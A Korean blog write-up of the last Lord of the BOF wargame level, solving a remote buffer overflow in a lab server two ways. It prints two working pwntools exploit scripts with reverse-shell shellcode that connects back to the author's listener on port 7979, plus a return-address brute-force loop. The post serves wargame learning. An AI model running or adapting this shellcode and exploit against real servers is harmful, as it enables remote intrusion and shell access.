-
[LOB] Xavius -> Death_knight Write-up표튜터와 함께하는 Pwnable/The Lord Of the BOF Write-up 2019. 3. 24. 16:42
혹시나 이상하거나 잘못된 것이 있다면 댓글 부탁드립니다.
드디어 마지막 문제이다! 코드를 보도록 하자!!
힌트는 Remote BOF이다. 버퍼의 크기는 40인데 입력할 수 있는 크기는
256이므로 아주 쉽게 BOF취약점을 가진 코드를 찾을 수 있다.
이제 이 코드를 어떻게 이용하느냐에 따라 이 문제를 풀 수 있을 것 같다.
우선 프로그램을 실행시켜보겠다!
참고로 나는 두 가지 방법으로 풀기위해서 포트번호가 6667로
death_knight파일을 하나 더 빌드해놓았다.
또잉?? 이미 실행중이다..
실행 중인 것을 확인했다. 소스코드에서 해당 포트번호가 6666이란걸 알았기때문에 접속해보도록 하겠다.
일단은 포트 6667파일로 실행시켜보았다.
입력창이 나왔고 버퍼에 값을 입력할 수 있었다.
이 입력(recv)을 이용해서 공격을 진행할 수 있는데 위에서 말했듯이 두 가지 방법이 있다.
1. Reverse Shellcode 사용하기
2. Shellcode & ltrace 사용하기
1. Reverse Shellcode 사용하기
1번부터 진행해보도록 하겠다. 우선 Reverse Shellcode를 생성해보겠다.
pead의 shellcode generate기능을 이용하면 간편하게 만들 수 있다~
해당 Shellcode는 서버가 7979포트로 나의 pc에 접속하게 만드는 Shellcode이다.
다만든 Shellcode를 이용해서 쉘코드를 짜보도록 하자!!
123456789101112131415161718192021from pwn import *shell="\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x93\x59"\"\xb0\x3f\xcd\x80\x49\x79\xf9\x5b\x5a\x68\xc0\xa8\x01\x70\x66\x68"\"\x1f\x2b\x43\x66\x53\x89\xe1\xb0\x66\x50\x51\x53\x89\xe1\x43\xcd"\"\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"\"\x89\xe1\xb0\x0b\xcd\x80"for i in range (0xFF,0x00,-1):for j in range(0x00,0xFF,10):p = remote("192.168.1.58",6666)print str(hex(u32(chr(j)+chr(i)+"\xff\xbf")))payload = "A"*44payload += chr(j)+chr(i)+"\xff\xbf"payload += "\x90"*100payload += shellprint p.recvuntil("You : ")p.send(payload)p.close()cs 서버 프로그램이 때문에 쉘코드가 저장된 버퍼의 정확한 주소를
알기 어려워서 ret값을 정확히 줄 수가 없다.
그러므로 Brute force하도록 exploit 코드를 짜야한다.
0xBFFF0000을 생각하고 하위 4Byte만 Brute Force하였다.
해당 코드를 작동시키기 전에 서버가 나의 7979포트로 접속하도록 만든
Shellcode이기 때문에 7979 포트를 열어놓고 기다려야한다.< nc -lvp 7979로 대기중 >
아래의 그림처럼 코드가 실행되면서 Brute Force가 진행되면서 쉘이 따진다.
< exploit코드 실행 중 >
2. Shellcode & ltrace 사용하기전제조건이 있는데 바로 서버가 fork를 사용해야한다는 것이다. 우선 복사본에ltrace -f 명령어를 이용해서 fork를 사용하는지 확인해보자.복사본을 서버프로그램을 실행시킨 뒤, 해당 서버프로그램에 접속했더니
또잉~ 바로 버퍼의 주소가 바로보이고 fork를 사용한다는 것도 확인할 수 있었다.
버퍼의 주소가 0xbffffac0임을 알았으니 여기에 buffer + sfp(4) + ret(4)를 하면
0xbffffaf0가 되고 이곳에 Reverse Shellcode를 넣어주고 ret를 0xbffffaf0으로 주면
Shellcode가 실행될고 쉘이 따질 것이다!
이 방법을 사용하면 버퍼의 정확한 위치를 알 수 있기 때문에 Brute force가 필요없다!
이런식으로 exploit 코드를 짜고 아까처럼 포트를 열어 기다려보자~12345678910111213141516171819from pwn import*shell="\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x93\x59"\"\xb0\x3f\xcd\x80\x49\x79\xf9\x5b\x5a\x68\xc0\xa8\x01\x70\x66\x68"\"\x1f\x2b\x43\x66\x53\x89\xe1\xb0\x66\x50\x51\x53\x89\xe1\x43\xcd"\"\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"\"\x89\xe1\xb0\x0b\xcd\x80"p = remote ("192.168.1.58",6666)payload = "\x90"*44payload += "\xf0\xfa\xff\xbf"payload += shellp.recvuntil("You : ")p.send(payload)p.close()cs 코드를 실행했더니~
쉘이 넘어왔다~
이제 원본 서버프로그램에서 진행해보자.
kill 명령어를 이용해서 실행중이었던 death_knight를 끄고 다시 위처럼 실행했다.
깔끔하게 쉘이 넘어왔다~~
짝짝짝~~~~ 이것으로 드디어 LOB가 모두 끝났다.
꿀팁과 정확한 개념을 잡도록 도와준 py0zz1에게 감사한다
~ 끝 ~
반응형'표튜터와 함께하는 Pwnable > The Lord Of the BOF Write-up' 카테고리의 다른 글
[LOB] Nightmare -> Xavius Write-up (0) 2019.03.19 [LOB] Succubus -> Nightmare Write-up (0) 2019.03.19 [LOB] Zombie_Assassin -> Succbus Write-up (0) 2019.03.14 [LOB] Assassin -> Zombie_Assassin Write-up (0) 2019.03.05 [LOB] Giant -> Assassin Write-up (0) 2019.03.04 댓글